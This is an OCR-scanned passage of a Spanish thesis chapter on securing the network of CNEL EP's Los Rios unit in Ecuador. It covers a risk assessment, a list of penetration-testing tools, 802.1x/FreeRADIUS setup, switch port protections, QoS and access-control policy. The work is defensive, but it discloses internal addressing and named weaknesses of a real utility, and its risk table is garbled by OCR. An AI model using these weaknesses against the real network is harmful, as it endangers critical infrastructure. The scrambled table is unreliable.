acerca del riesgo entre personas que toman la decisién y otras

partes interesadas.
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e Monitorizacion y revision de riesgo.- Los riesgos no son estaticos,

son cambiantes y debemos de monitorearlos constantemente por

entidades externas.

41.1.

41.2.

Establecimiento del contexto

CNEL EP es una de las principales empresas de servicios de
distribucion eléctrica en el Ecuador, con la mayor cobertura y

nimero de clientes del pais.

Cualquier UN puede sufrir un ataque a la infraestructura de
tecnologia de la informacion, que pueda comprometer los

servicios de toda CNEL EP.

Por lo que es necesario medir el riesgo que puede representar la

violacién de la seguridad de la UN Los Rios, y evaluar como

afecta a la gestion de las otras UN.

Esta evaluacion debera de hacerse por lo menos una vez al afio
para cumplir con lo dispuesto por el acuerdo ministerial 166,

Esquema gubernamental de seguridad de la informacién EGSI

Valoracién del riesgo en la seguridad de la Informacion

El riesgo se lo puede estimar como la concurrencia que se
presenta después que ocurra un evento indeseado con su

probabilidad que pase.
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La valoracion del riesgo calcula el valor del activo, identifica
amenazas basadas en vulnerabilidades, aplica los controles para
mitigar el impacto, estima sus efectos y determina las

consecuencias, finalmente prioriza los riesgos.

Las siguientes actividades constan en la valoracion del riesgo:
e Analisis de riesgo: Identificacion del riesgo y estimacion del
riesgo

e Evaluacion del riesgo

4.1.2.1. Identificacion del riesgo

Como su nombre lo dice, el objetivo es determinar qué
podria pasar para que se produzca una falla permisible,

para llegar a entender los factores de esta pérdida.

Activos

Los activos seleccionados para definir el analisis de
riesgo son considerados como criticos dentro de la
gestion administrativa y comercial de la UN. La falla
parcial o total de uno de estos servicios, ocasionaria
problemas serios en la gestion administrativa, desde
paralizacion de los tramites financiero hasta pérdidas

econdmicas.
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Los activos son propiedad de la UN Los Rios, y el
departamento de tecnologia de la UN es la responsable
de su produccion, uso y seguridad; y algunas UN se tiene
entornos de desarrollo y mantenimiento. Los activos

primarios son:

e Facturacion y recaudacion

e Pago de némina y proveedores.

Los activos secundarios son:

e Firewall: Equipo que administra la seguridad de la UN

e Switch de CORE: Equipo de alta velocidad instalado
en el edificio principal

e Servidor de reporteria comercial: Computador de
escritorio, con funcionalidad de servidor valido para la
solo para UN, que tiene publicado al Internet una
aplicacion Web utilizada exclusivamente por los
contratistas.

e Servidor Comercial prepago: Computador de
escritorio, con tarjetas generadoras de codigos de
seguridad utilizados en la facturacion de energia
prepagada, ademas recauda el valor facturado

localmente.



72

e Servidor Comercial: Servidor que mantiene el
sistema comercial, con los procesos de: altas de
cliente, facturacion, recaudacion, medidores solo de
la UN.

e Servidor Financiero: Servidor que aloja el aplicativo
financiero de toda la CNEL EP, corren los procesos
de: presupuesto, tesoreria, contabilidad, activos fijos
y bodega.

e Servidor de Nomina: Servidor que aloja el aplicativo
RR.HH de toda la CNEL EP, con los procesos de:
talento humano,

e Servidor Directorio Activo: Servidor réplica del

Directorio Activo principal, alojado en el Data Center.

Identificacion de amenazas

Las amenazas son potenciales causales de dafios a los
activos tales como informacion, procesos y sistemas. Las
amenazas pueden ser provocadas o accidentales, y su

origen puede ser humana o natural.

Identificacion de controles
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El objetivo del control es garantizar que las operaciones
reales coincidan con las operaciones planificadas. Se

identificaran los controles existentes y los planificados.

Se debe de \verificar que los controles existentes
funcionen correctamente y en caso de implementarlos en
el futuro se deberan de planificarlos igual que aquellos ya

implementados.

Identificacion de las vulnerabilidades

Se deberan de identificar las wulnerabilidades que

pueden ser explotadas por las amenazas para causar

dafios a los activos de la empresa.

Identificacién de las consecuencias

Se deberan de identificar las consecuencias que puedan
tener cuando se pierde la confidencialidad, integridad y

disponibilidad de los activos

A continuacién se detalla un cuadro de los activos, sus
amenazas, controles, vulnerabilidades y  sus

consecuencias.

4.1.2.2. Estimacioén del riesgo
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Metodologia para la estimacion del riesgo

Puede ser cualitativa o cuantitativa, o una combinacién

de ellas, dependiendo de las circunstancias.

Estimacién cualitativa: Es la méas facil de
implementar, utiiza una escala de atributos
calificativos para describir la longitud de las
resultados potenciales, por ejemplo alta, media y
baja; y la probabilidad de que ocurran dichas
consecuencias.

La estimacion cuantitativa: A diferencia de la
estimacion cualitativa, las consecuencias y la
probabilidad se valen de una escala con valores

numeéricos

Evaluacion de las consecuencias

Evaluar el impacto en el negocio que puede resultar de

incidentes posibles o reales, teniendo en cuenta las

consecuencias por la pérdida de confidencialidad,

integridad o disponibilidad de los activos.

Evaluacion de la probabilidad de incidentes
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Identificacion de

Identificacion de

Identificacion

Evaluacién de

Activo (Nro
Amenaza Controles vulnerabilidades Consecuencias
1 Falla en la comunicacién |UPS, enlaces Linea de comunicacién ([Pérdidade la
_Tg de datos redundantes sin proteccion disponibilidad
z
] 5> |Abuso de derechos Diccionario de datos y|Falta de ambiente de Pérdidade la
3 Backup de respaldos |pruebas integridad
S
3
Confirmar datos Falta de acuerdos de Lo
. X g Pérdida de la
3 |Estafa de clientes personales en confidencialidad con fidencialidad
confidencialida
oficinas de CNEL contratistas.
4 Pérdida de suministro de UPS Funcionamiento no Pérdida de la
.‘_G“ energia confiable del UPS disponibilidad
9]
£ Incumplimiento en el Pérdida de la
S % 5 |Dafio del disco duro Backup de datos p‘ R X K
? 8 mantenimiento integridad
9 ¢
T
> & Apropiacion de Software cliente sélo
L
“ 6 c:ntrr;seﬁas de usuarios instalado en una Contrasefias sin politica |Pérdida de la
ilegiad mdquina validada por [de cambios confidencialidad
rivilegiados
P g el servidorsu IP
Servidor real con Entorno virtualizadocon| _, .
L. . . - k -, Pérdida de la
7 |Saturacion del sistemas |mejore rendimiento [poca asignacién de disponibilidad
o .
3 CPUy memoria. UPS |recursos P
e Sistemaredundante [Falta del procedimieno -
o ] Pérdida de la
= 8 |Fallaen labase de datos |de discos duros RAID, |formal parala inteeridad
_‘g‘ backup de cintas supervision del registro 8
S
g Adquirir switch de
9 |E h bréti accesos que permitan |Trafico sensible sin Pérdidade la
scucha subrética
implementar protecion confidencialidad
seguridades
10 Fallaen el equipo de VirtualHost Falta de balanceo de Pérdidade la
irtualHos
telecomunicaciones carga disponibilidad
5 ° Documentos que
E € 1 Falta de mecanismos de [justifican Procesamiento ilegal de |Pérdida de la
3 3 auditoria incrementos enlos  |los datos integridad
rubros o de personal
12 |Espionaie remoto Procesos criticos Arquitecturainsegura [Pérdidade la
pionaj validar IP+usuarios  |de lared confidencialidad
% 13 Fallaen el equipo de Réplica de servidores |Falta de balanceo de Pérdidade la
‘g telecomunicaciones por zonas carga disponibilidad
5 g
s ©
:S < Bloquear los puertos L,
2 . L L L, Autenticaciéon basadaen| ,
k3 14 Ataque poringenieria de administracién en |, | | i Pérdidade la
algo que el usuario
social el firewall y usuarios sabge"q confidencialidad
por entidades
= Configuracidn activo,
g Falla del equipo de . 8 - Pérdidade la
o 15 . pasivo. Protocolo Punto Unico de falla X o
i comunicaciones HRSP disponibilidad
<
=] % 16 Trafico sensible sin Configuracion Escucha subreticia Pérdida de la
E b proteccion redundante del stack disponibilidad
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Después de identificar los escenarios de incidentes, es
necesario evaluar la probabilidad de cada escenario y
estimar la ocurrencia del impacto, utilizando técnicas
cualquiera de las dos estimaciones cualitativas o

cuantitativas.

Nivel de estimacion del riesgo

Se deberian estimar el nivel de riesgo para todos los

contextos de incidente adecuados

e La metodologia para la estimacion del riesgo se hace
con valores numéricos con una escala del 1 al 5.

e La evaluacién de las consecuencias se las mide en
valor monetario, con escala desde menor de $10,000
hasta mayor que el patrimonio.

e La probabilidad de los incidentes se hace en el
tiempo, con valores desde un mes hasta 5 afos.

Tabla 6: Estimacioén de riesgo

Probabilidad Impacto
Menos de $10,000
Mayor de $10,000y menor de $50,000
Mayor de $100,000 y menor de $500,000
Mayor de $1,000,000 y menor de $5,000,000
Mayor que el patrimonio

Porlo menos 1 caso en 5 afios
Por lo menos 1 caso cada 3 afios
Porlo menos 1vez al afio

Por lo menos 2 veces al afio
Porlo menos 1vez al mes

u b WN -
“u b WN -

También se define la matriz de calor, donde relaciona el

impacto con la probabilidad.
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Grafico mapa de riesgos

Impacto

2 3 4
Probabilidad
Figura 4.1: Mapa de riesgo

4.2. Definir herramientas de penetracion informatica.

Para realizar todas las pruebas de penetracion, utilizaremos un

computador de escritorio, con funcionalidad de servidor de maquinas

virtuales instalado el VmWare ESXi 6.0, con tres maquinas virtuales.

Una de las maquinas virtuales es Kali Linux version 6.0, donde se

aplican las herramientas informaticas open source de mayor uso, tales

como:

» NMAP.- Mapeador de redes, herramienta de exploracién de redes y
de sondeo de seguridad — puertos.

» NESSUS.- Programa de escaneo de wulnerabilidades de diversos
sistemas operativos.

» NIKTO.- Programa escaner de servidores web, que se encarga de
realizar distintos tipos de acciones como: malas configuraciones y

vulnerabilidades en el servidor, archivos de instalacién por defecto,
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listado de estructura de version, test de wulnerabilidades XSS,
ataque de fuerza bruta.

» METASPLOIT.- Es un proyecto de seguridad de codigo abierto que
brindar informacién acerca de las wvulnerabilidades y ayuda en la
ejecucioén en el test de penetracion

» NETCAT.- Es una herramienta que permite mantener abrir un
puerto TCP/UDP en el HOST quedando a la escucha, para que
mantenga comunicacion desde un equipo remoto ligado a otro

puerto UDP/TCP

4.3. Disefar politica de desvinculacion del personal.

Para tener una reaccion inmediata en el bloqueo de todos los servicios
asociados de una persona, que se encuentra en proceso de
desvinculacion, es necesario realizar cambios en la Politica para control
y gestion de acceso del Manual de politicas de seguridad de la

informacion redefinida mas adelante en el capitulo 4.7

Por lo que se procede a mejorar el Procedimiento de control y gestion
de usuarios: altas, bajas, manejo de privilegios afiadiendo las siguientes

tareas en altas y bajas.

Altas
e Cada usuario creado en un Sistema de Informacioén debera de estar

relacionado con un equipo terminal, identificado con informacion
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Unica la combinacion de: direccion MAC, puerto fisico de un switch

o loégico de un AP y direccion IPVA4.

Bajas

e Tiempo de baja usuario. El responsable de asignacién de recursos
de TI procedera a bloquear en el mismo dia: todos los Sistemas de
Informacioén, todos los equipos de comunicacion, direccion IP,
direccién MAC, puerto fisico del switch o puerto l6gico del AP.

e Respaldo de la informacién.- El responsable de asignacion de
recursos de TI procederd a realizar el respaldo de toda la
informacioén que hubiese generado el trabajador, en un tiempo no
mayor a 5 dias laborables, entregables en DVD y servidor de
respaldo, que se almacenard hasta un maximo de 5 afios. Este
respaldo comprende: documentos personal almacenados en el
equipo terminal, correos electrénicos, documentos oficinales, etc.
Una copia de todo lo respaldado serd entregado al trabajador

desvinculado

4.4. Definir tipos de autenticacion en la red de datos.

Todos los equipos terminales como computadoras desktop,
computadoras portatiles o dispositivos moéviles que se conecten a la red
de datos de CNEL EP UN Los Rios, deberan estar autenticados, con la

finalidad de evitar que equipos informaticos que no sean de propiedad
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de CNEL EP puedan ingresar a la red de datos y potencialmente

convertirse en una amenaza latente.

Para solucionar el problema de autenticacion de la red ethernet IEEE
802 LAN/WAN, ha definido el reenvio de paquetes con el protocolo
8021.1x. El protocolo es ampliamente usado como un mecanismo de
control en las interfaces LAN para solucionar problemas de
autenticacion y seguridad ethernet. EI 8021.1x es un protocolo de
control de acceso de red basado en puerto. El sistema 8021.1x tiene
una tipica estructura cliente/servidor que incluyen tres entidades:

cliente, dispositivo y servidor.

EAPOL E_____ RADIUS j

Device Server

Figura 4.2: Sistema de autenticaciéon 802.1x

e Cliente: Es una entidad en el segmento LAN, que esta autenticado
por un dispositivo en el otro extremo del enlace. El cliente
usualmente es un terminal de wusuario. Un usuario inicia la
autenticacion 802.1x iniciando el software cliente.

e Dispositivo: Es una entidad en el segmento LAN, que autentica al
cliente conectado. El dispositivo por lo general es un dispositivo de
red que soporta el protocolo 802.1x y proporciona una interface

fisico o logico para el acceso LAN al cliente.
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e Servidor: Es una entidad que ofrece autenticacion para el
dispositivo. El servidor suele ser un servidor de acceso telefonico de
autenticacion de servicio de usuario remoto (RADIUS) para la
implementacion de la autenticacion, autorizacion y contabilidad

(AAA)

La implementacion del servidor radius se lo hace es a través del médulo
freeradius?, afiadido del software pfSense, que es una distribucién de
Linux Debian muy estable, con las siguientes caracteristicas:

e Modulos incluidos soportan LDAP, MySQL, PostgreSQL, Oracle y

otras BBDD

e Soporta todos los tipos de autenticacion EAP, PEAP y EAP-TTLS

El pfSense por ser un firewall que requiere como minimo dos tarjetas de
red. Una tarjeta de red configurada para el segmento WAN y otra tarjeta
de red para el segmento LAN. Debido que el servidor RADIUS debe de
comunicarse con el switch de CORE, ambos deben de tener el mismo

segmento de red, es decir la direcciéon IP es 172.19.192.11/25

La interface WAN se la utilizar4 para tener acceso hacia el resto de la
red, incluida Internet, por ahora no la vamos a utilizar, debido que no es
motivo de estudio y se le asignara la direccion IP 192.168.1.100/24 con

puerta de enlace IP 192.168.1.1

® Freeradius: Es un servidor RADIUS de alto rendimiento de software abierto mas popular que soporta
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El pfSense de forma predeterminada no incluye el médulo freeRadius,

debera de agregarlo manualmente para posteriormente configurarlo.

&« C | b /172.19.192, 11 findex.php

» Interfaces  » Firewal ¥ Services

PPN »Status e Diagnostics »Gold v Help

Status: Dashboard @
(=
System Information = Captive Portal Status =
Name pfSense lacaldamain IP address | MAL address | Username
Yersion 2.2.4-RELEASE {amd&4)
built on Sat Jul 25 1915737 COT 2015 R raay =
FreeBSDr 10.1-RELEASE-p1S -
akoselect
I waN +
Unable to check for updates, | 192.168.1.100
Platform pfSense - EILaN + 1000baseT <full-duplex =

Intel(R) Core(TM) i5-4570 CPU @ 3,20GHz | 172.19.192.11

CPU Type Current: 399 MHz, Max: 3192 MHz
4 CPUs: 2 package(s) x 2 coreis)

Uptime 02 Hours 28 Minutes 18 Seconds
Current e
date/time Mon Movw 30 2:18:25 ECT 2015

Figura 4.3: Servidor pfSense con las interface LANy WAN

» Systern  » Interfaces  » Firewall  » Services  » VPN » Status  » Diagnostics  » Gold  » H

System: Package Manager

Available Packages |8 UTS1IEY §22YL IS0 T

Name - Category Yersion Description

| freeradius2 Services

Figura 4.4: Modulo FreeRADIUS vs 2 en el pfSense

Una vez afadido el modulo del freeradius en el servidor pfSense, se
procede a configura el dispositivo que realizaran el Servidor de Acceso
a la Red (NAS) o punto de entrada, que en este caso representa el

switch de CORE. Los principales parametros a configurar son: direccion



83

IP, la clave compartida preferentemente debe ser larga y el nimero

méaximo de conexiones.

m ¥ Interface ; ; WP Status Nagnostics  » Gald  » Help

General Configuration

Client IP Address ik ,172,19.192,1
Enter the IP address of the RADIUS client, This is the IP of the MAS [switch, access point, firewall, router, etc.),

Client IP Yersion IPvd ¥

Client Shortname b
g'\‘ sw_caore

Erter a short name For the client, This is generally the hostname of the HAS,

Client Shared Sacrat

[@) serenaress

Enter the shared secret of the RADIUS client here, This is the shared secret (password) which the HAS (switch or accesspaint)
needs to communicate with the RADIUS server, FreeR ADIUS is limited to 31 characters for the shared secret,

Miscellaneous Configuration

Cliant Protacal uop v
Enter the protocol the client uses, [Default: LDR)

Client Type ather h
Enter the MAS bype of the client, This is used by checkrad.pl For simultanecus use checks, [Default: other)

Require Message Authenticator Mo ¥
RFCE080 requires Message-Authenticator in Access-Request, But older MAS (switches or accesspoints) do not include that,
[Defaulk: ma)

Figura 4.5: Parametros NAS en el freeradius

Se configura todos los clientes NAS que tiene CNEL EP, entre ellos

estan los puntos los Access Point

¥ Gold » H|

FreeRADIUS: Clients

Client IP Client 1P Client Client Client Require Message Max
Address Yersion Shortname Protocol Type Authenticator Connections

| 172.19.192.1 | ipaddr SW_rore udp ather no 100 _

Description

| save

Figura 4.6: Lista de todos los NAS en freeRadius
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En la pagina de Interfaces se configura los puertos que utilizan el

servidor de autenticacion puerto 1812y el puerto para la cuenta 1813

Systerm b Interfaces ¥ Fireswall Services ¥ WP ¥ Status ¥ Diagnostics + Gold

FreeRADIUS: Interfaces

Interface IP Address Port Interface Type IP ¥Yersion Description
| # 1812 auth | ipaddr
* ) 1813 acck ipaddr
Figura 4.7: Puerto de autenticacion y cuenta del cliente NAS freeRadius

En la péagina Setting se configura principalmente la habilitacion de la

autenticacion por direccion MAC por texto plano que son los ultimos de

esta seccion

¥ System » Interfaces ¥ Fireneall » Sen (RN =] ¥ Status » Diagnostics » Gold » Help

[Default: rdS)
Token Password length

‘We build a hash of "EPSCHTIME +IMIT-SECRET +PIM" and ther use the digits 1 to 6 as password, Perhaps there are some
otherhardware tokens which use ather digits sa you can perhaps adjust this here, This nust be equal on bath sides! (Default:
14

Miscellaneous Configuration

Enable Plain MAC Auth 7

This emables plain MAC auth, The Calling-Station-Id in an Access-Request is first checked against an authorized_rnacs list before
all ather autharization methods, IF your MAS is not able bo conwvert the MAC in a 802.1% Farmat then you could enable this, IF
wou do not need this leave this disabled. (Defaulk: unchecked)

Disable Acct_Unique 7

This disables the "rlm_acct_unique" module in FreeRADIUS "preacct” section. By default this module is enabled but it causes
some problemns with counters, So if you use "Amount of Downlaad/Upload Time" then leawe this checked, (Default:

unchecked)

Figura 4.8: Habilitar autenticacion texto plano de MAC — FreeRADIUS

Quiza uno de los principales parametros de configuracion del
FreeRADIUS, es la Extensible Autenticacion Protocolo (EAP), que es un
framework de autenticacién usado habitualmente en redes WLAN,

aunque puede ser usado en redes cableadas. Es una estructura de
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soporte, no es un mecanismo especifico de autenticacion. Suministra
algunas caracteristicas comunes y negociaciones para los elementos
de autenticacion optados. Estos mecanismos son llamados métodos
EAP, de los cuales se conocen actualmente unos 40. Los definidos por
los RFC de la I[ETF incluyen EAP-MD5, EAP-OTP, EAP-GTC, EAP-TLS,

EAP-IKEV2, EAP-SIM, EPA-AKA.

System * Interfaces » Firewall  » Services » PN » Status ¥ Diagnostics riEold rHelp

FreeRADIUS: EAP €

Disable weak EAP bypes i

Here you can disable the weak EAP bypes MDS, GTC and LEAP. Check this ta only allow stranger EAP types like TLS, TTLS,
PEAP, MSCHAPw2 should be allowed, This option does nat affect the "tunneled EAP sessions",

Drefault EAP Type MDE v
Inwoke the default supported EAP bype when EAP-Identity response is received, I you disabled the weak EAP bypes you musk
not select here MDS, Try PEAP. (Default: mdS)

Expitation of EAP-Responze \ 60

EAP-Request List
A lisk is maintained to correlate EAP-Responze packets with EAP-Request packets, Define the expire tirne of the list, (Default: 607

Ignore Unknown EAP Types Mo ¥
If the RADIUS server does not know the EAP bype, it rejects it, IF set ta "yes" another maodule must be configured to proxy the
request bo a further RADIUS server, (Default: nod

CISCO Accounting Username Mo ¥
Bug CISCO AP1230E firmware 12.2(13)141 has a bug which can be warkaround by setting this to "yes", [Default: no)

Figura 4.9: Autenticacion EAP en FreeRadius

Finalmente las direcciones MAC de los dispositivos finales, se registran
en la base de datos MySql, debido a la gran cantidad de equipos que

actualmente existen.

Cabe mencionar que existen dos modos de autenticacion del protocolo
802.1x, el modo realy que permite enviar el usuario y clave; y el modo

termination que solo envia la MAC como usuario y como clave. Este
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segundo modo de autenticacion es ideal para validar terminales que no

permite interactuar, como son impresoras Yy teléfonos IP.

Esta proteccion se puede realizar en el edificio principal de la UN,
debido que en los switch de las agencias no soporta la funcionalidad
802.1x. Por lo que en el switch de CORE se habilitaran en los puertos

gue conectan los switch de accesos la funcionalidad del 802.1x

Definir mecanismos de bloqueos en lared de datos

Los mecanismos de bloqueos en la red se los puede controlar a nivel de
la capa 2 y capa 3, implementados con los switch de accesos y el

firewall

4.5.1. Blogueos en capa 2
Todos los blogueos en el switch son aplicables en los edificios
principales, pero en las agencias y subestaciones estan limitadas
algunas caracteristicas (de puerto seguro, NA, pero si se puede

habilitar en los switch del edificio principal.

Existen varios mecanismos de seguridad que se pueden
implementar:

e Puerto seguros

e Control de acceso a la red NAC

e Espiar DHCP
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e Configuracion de ataques de Defensa de IP
e Supresion de trafico

e Descubrimiento del vecino espia.

4.5.1.1. Puerto seguros
Se configura cada interfaz de red del switch de acceso,
gue proteja contra ataques, se implementa medidas de

seguridad por MAC o ARP

T eNSP 1.0.216
ESo NSl - N S AR

| End Devices

/> LsSw1 CLIENT

D = iption BC i 1 do pusrto seguro
el PN _ .
I

Figura 4.10: Aplicando puerto seguro por MAC

e Protecciobn por MAC.- Garantiza conexiones no

deseadas en una interfaz de red, restringiendo el
nimero maximo de direcciones MAC que ese puerto
puede soportar, en forma predeterminada es 1. Esta
politica sera utilizada para todas las estaciones de
trabajos. Opcionalmente se puede configurar el

comportamiento de realizar4 una vez que detecte que
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se ha cambiado la MAC, que puede ser protect,
restrict o shutdown, por defecto utiliza restrict

o Your Position: Security => Static user binding

B Device Summary

Query
System Management X oy =
Interface Name: All |E| LI VLAN ID:
Interface
Management Create a binding

Service Management ¥ | 17219.192.1/view/safety/user_static/add_user_static_bind html

ACL
Interface Name: GigabitEthemet  [+]1/0/5

Qos Bindingmode:  IP+MAC:PORT  [v]

IP Routing [Chvan 1D:

Ep— MAC Address: 1078 - D2D0 - 3C55 (H-H-H)
© |Pvd: 172. 19 .192. 23

Portisolation i
2 1Pv6:

Figura 4.11: Aplicando puerto seguro por ARP

e Mapeo ARP.- Evita que la tabla ARP se desborde y el
switch se comporte como HUB debido a un ataque
hombre en medio. Politica destinada a las conexiones de
servidores, donde asegura que ese puerto se conecta un

servidor con una direccion MAC y una IP

45.1.2. Control de acceso a lared NAC
En los switch de acceso puede implementar el principio
de funcionamiento y la configuracion del control de

acceso a lared NAC.

Los computadores pueden accesar a la red usando la

autenticacion 802.1x. La autenticacion del servicio es un
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servidor RADIUS gue est4d implementado con el

programa freeradius embebido en pfSense.

= Radius
: Server

100.1.1.1
100.1.1.2

192.168.1.1/24 | 192.168.1.2/24

Internet

PC
192.168.1.10

Figura 4.12: Diagrama de red autenticar 802.1x
4.5.1.3. Configuracion de ataques de Defensa de IP

Se utiliza para proteger que la direccién IP y MAC de un
dispositivo de red conectado en una interfaz de red, no
pueda ser falsificada por otro dispositivo en la red, para
gue posteriormente envie informacién a un tercero, como
un servidor. Este escenario es ideal para configurarlo
para las computadoras destinadas para asuntos
puntuales, por ejemplo: Puntos de recaudacion, realizar

pagos por parte de tesoreria.

45.1.4. Supresion de tréfico.
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3 Server

3 Switch
Ethernet0/0/ Ethernet0/0/2
Packets:
SIP:10.0.0.1/24
| = SMAC:2-2-2

b -

Host A Host B (Attacker)
IP:10.0.0.1/24 IP:10.0.0.2/24
MAC:1-1-1 MAC:2-2-2

Figura 4.13: Diagrama de red para configura defensa IP

Con la finalidad de limitar o suprimir el trafico generado
por paquetes broadcast, paquetes desconocidos
multicast y unicast se lo puede limitar. Este escenario es
ideal para evitar congestiones en enlaces de datos con

otros edificios o switch de accesos

Figura 4.14: Diagrama de red de supresién de trafico

45.15. DHCP defensa

Evita la prevencion de ataques al servidor DHCP,

configurando la interfaz donde se encuentra el servidor y
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activa la funcibn de alarma para los paquetes de

respuesta DHCP descartados

ISP network

L3 network

DHCP
server

Figura 4.14: Diagrama de red previene ataques de falso DHCP

45.2. Blogueo de capa 3
El firewall de Huawei es el encargado de realizar todos los
blogqueos a nivel de capa tres en adelante y de ser posible de
capa siete, en el caso de CNEL EP, los equipos soportan
algunas aplicaciones. Por lo el firewall bloquea lo siguiente:
e Direcciones IPv4
e Direcciones URL

e Aplicaciones

4.6. Disefiar QoS para garantizar la disponibilidad de los servicios.
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La QoS se la administra en la capa 2 del modelo OS], utilizando los
switch de acceso que se encuentran instalados en las oficinas

principales, agencias y subestaciones de la UN Los Rios.

El trafico que circula en la red, es de datos y video. Se aplicara la QoS a
los switch de acceso de las agencias y subestaciones, para controlar la
velocidad de salida en los puertos donde estan conectadas las camaras
de video vigilancia, limitando su ancho de banda, para evitar saturar del

enlace de datos.

Se hace el andlisis del trafico requerido por la red de datos y las
camaras de video vigilancia, y se concluye que se requiere las
siguientes tasas:

e 1Mbps por cada camara.

e 2Mbps para datos

En este tipo de switch de acceso se puede limitar solo la velocidad de

salida. Por lo que es necesario estar familiarizado con la siguiente

terminologia:

e Tasa de Informacion Comprometidas (CIR) o ancho de banda.

e Tasa de Exceso de Informacién (EIR): Es la velocidad adicional al
inicial

e Tasa de Informacion Maxima (PIR): Que es la velocidad maxima

gue una interface puede transmitir
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Ademas se asigna la Vlan's 900 para video y la Vlan's 1 para datos, y

se realizan los siguientes cambios:

- e
HUAWEI
o Your Position: Qo5 => Limit Rate [View Rate Limit ]
Device Summary View Rate Limit = dailPGRsE ANyl

System Management

Select Interface

Interface
Management Slot0
Service Management -E
A 3 G G 25 3 R
AcL [ Unselected [l Selected [ Fixed [ ]Electrical
Qos
Direction CIR(Kbit's)

Traffic Management
outbound

Figura 4.16: Sin aplicar QoS en puerto 0/0/6

e Solicitar a CNT eliminar la configuracion del puerto TRUNK que
permite pasar las Vlans 1y 900 en una sola interfaces.

0 VELOCIDAD DE DESCARGA © @ VELOCIDAD DE CARGA

7347 Mbps 430 Mbps

COMPARTIR ESTE RESULTADO

COMPARAR HACER UN APORTE
SU RESULTADO A NET INDEX

OBTENGA UNA CUENTA GRATUITA

Su direccidn de correo elect

Figura 4.17: Velocidad de puerto 0/0/6 previa a la QoS



94

e Solicitar a CNT separar las dos Vlan’s en dos interfaces de red, una
para la Vlan's 1 y otra para la Vlan's 900

e Conectar la interface ethernet de CNT configurada como Vlan's 1 a
un puerto del switch de CNEL EP configurado con Vian's 1,

aplicado Qos, con velocidad limitada de salida a 2 Mbps.

Quidway S2710-52P-SI-AC

o Your Position: Go% == Limit Rate [View Rate Limit ]

I| NSV ANl Configure Rate Limit

~Select Interface

SlotD

(21« = o] (41 e ] i8] (oo (o2 (o4 2] (o830 32 4 e | S &0 &2
I D 3 1 a3 X R X | X R [

[ JUnselected [l Selected [l Fixed [ |Electrical [ _|Optical

Direction CIR(kbit/s) CBS(byte)
outbound 1024 128000

Figura 4.18: Aplicado QoS restringiendo la velocidad de salida a 1Mbps

Conectar la interface Ethernet de CNT configurado como Vian's 900 a
un puerto del switch de CNEL EP configurado con Vlan's 900, a una
velocidad igual a la cantidad de las camaras de video vigilancia en

Mbps.

Se hacen los cambios en el puerto 0/0/6 y se verifica la velocidad de

transmision.

4.7. Disefar politicas de control de acceso.
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Con el desarrollo y el aumento de las aplicaciones corporativas, los
usuarios tienen mayor necesidad y dependencia en la red. Esto crea un
incremento en el riesgo de la seguridad. Una red segura, confiable, con
mayor capacidad de conmutacién y calidad de servicio, es la mayor
preocupacion del usuario usuarios de la empresa, y las instalaciones de

red deben son la base para la seguridad de las redes empresariales.

o VELOCIDAD DE DESCARGA @ @ VELOCIDAD DE CARGA

4] 9 Mbps

0.97 mops

COMPARTIR ESTE RESULTADO

COMPARAR HACER UN APORTE
SU RESULTADO A NET INDEX

OBTENGA UNA CUENTA GRATUITA

Su direccidn de correo elecirénico

o]

Si inicia sesién, podra comenzar un Speed Wave

186.46.251.186 — ' Quit
Carporacion Nacional De VOLVER A SERVIDOR El host es
3 - Movistar

Figura 4.19: Velocidad después del QoS a 1Mbps

En la actualidad la comodidad de una red, representa amenazas para
los activos de la empresa. Los problemas clasicos que se presentan en
la Intranet por parte de los usuarios finales son:

e Usuarios no autorizados ingresan a la red

e Usuarios autorizados abusan de la Intranet

e Equipos terminales no tienen los parches actualizados
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e Los empleados instalan software no autorizado
e Los empleados acceden a paginas web irrelevante para la empresa
¢ Los empleados se saltan los controles del firewalll

¢ El antivirus no siempre esté actualizado o instalado

Los dispositivos de seguridad actuales no pueden proteger eficazmente
la red, ya que no son capaces de:

e Evaluar la seguridad de los equipos finales.

e Prevenir usar terminales autorizadas que abusan de los recursos

e Prevenir ataques maliciosos

La tecnologia del Control de Adminision de la Red (NAC) sirve para
garantizar la seguridad de los servicios de comunicacion de la red. En el
marco de seguridad NAC, la seguridad de la red interna se considera
desde la perspectiva del terminal de usuario, la aplicacién de control de
seguridad sobre los usuarios de acceso, y garantizar la seguridad de

extremo a extremo.

En base a lo expuesto se recomienda definir el Control de Admisién de
Red (NAC) como un marco de seguridad de extremo a extremo,
disefiado bajo el siguiente esquema de red, definiendo las siguientes

entidades:

NAC Terminal
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Funciona como el cliente NAC e interactia con los dispositivos de
acceso de red para autenticar a los usuarios de acceso. Si se utiliza la

autenticacion 802.1x, los usuarios deben instalar el software de cliente

Dispositivo de acceso a la red

Autentica y autoriza acceso a los usuarios. Por lo general funciona con
un servidor de Autenticacion, Autorizacion y Contabilidad (AAA) para
evitar el acceso no autorizado de terminales, reducir al minimo las
amenazas presentadas por terminales inseguros, evitar las solicitudes
de acceso no autorizados desde los terminales autorizados, y proteger

los recursos basicos.

Servidor de control de acceso.

Controla la salud del terminal y gestiona terminales basados en politicas
especificas. Gestiona los comportamientos de los usuarios y cheques
por violaciones de reglas para prevenir ataques maliciosos de

terminales

Por los antecedentes presentados, esta politica debera de incluirse en
el Manual de politicas de seguridad de la informacién elaborado por la
Gerencia de la Seguridad de la Informacion, reformando la Politica para
control y gestion de acceso: autenticacion y manejo de contrasefas

guedado de la siguiente manera:



4.7.1.

98

Network Access
access devic control server

pouSutdiuSbuSudoe: o 2 geresecsssssssssssscsene

NAC termina

......................... .

Figura 4.20: Esquema de autenticacion en la red NAC

Control de acceso

Principio de control

Todo equipo terminal interno o externo de la corporacion que

requiera conectarse a la infraestructura tecnolégica de CNEL EP,

debera de verificarse que cumplan con el modelo de seguridad de

control de acceso, antes de que estos tengan acceso a la red.

e El modelo de seguridad del control de acceso es NAC que utiliza
la infraestructura de red para forzar las politicas de seguridad

e Los clientes son usuarios o computadoras

e Al momento de realizar la conexion con la red, los clientes

presentan sus credenciales, que una vez validada, se define el

nivel apropiado de acceso dentro de la red.
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Los clientes no compatibles seran aislados en una red cuarentena,
para ser provistos de componentes que permitan conectarse y
acceder a la red de forma normal

Los clientes utilizan un agente NAP (Network Access Protection),
gue recolecta credenciales y genera una lista de declaraciones al
equipo que evalla declaraciones de la salud

El equipo que evalla la declaracion de salud, envia a un servidor
de politicas de red para validar al cliente

El servidor de politicas de red evallo las declaraciones de salud
en funcion del modelo de seguridad definido devuelve el estado de
validacion de salud.

El equipo evalla los resultados de todas las validaciones y envia
